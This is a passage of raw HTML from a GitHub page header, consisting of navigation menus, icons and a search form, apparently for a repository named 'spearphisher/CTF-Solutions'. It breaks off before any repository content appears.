data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="145445906" data-scoped-search-url="/spearphisher/CTF-Solutions/search" data-owner-scoped-search-url="/users/spearphisher/search" data-unscoped-search-url="/search" data-turbo="false" action="/spearphisher/CTF-Solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="MnDBOuV3pJh3+Sltz1Rxayb0N+x3q38/quBSWI6l9HXx1eNaeZd+egJje4dvnDYn/m0zr1gzppv+aXJHle2PPQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 